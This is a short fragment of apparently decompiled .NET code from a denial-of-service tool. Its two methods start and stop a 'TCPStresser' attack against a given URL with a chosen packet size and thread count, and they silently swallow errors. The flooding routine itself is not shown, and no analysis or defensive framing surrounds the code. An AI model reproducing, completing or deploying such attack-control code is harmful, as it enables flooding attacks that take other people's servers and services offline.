public void StopTCPSUB() { try { if (TCPStresser.Alive) { TCPStresser.StopAttack(); } } catch (Exception exception1) { ProjectData.SetProjectError(exception1); ProjectData.ClearProjectError(); } }
public void StartTCPSUB(string URL, int SizePack, int Threads) { try { if (!TCPStresser.Alive) { TCPStresser.URLS = URL; TCPStresser.Size = SizePack; TCPStresser.jThre = Threads; TCPStresser.StartAttack(); } } catch (Exception exception1) { ProjectData.SetProjectError(exception1); ProjectData.ClearProjectError(); } }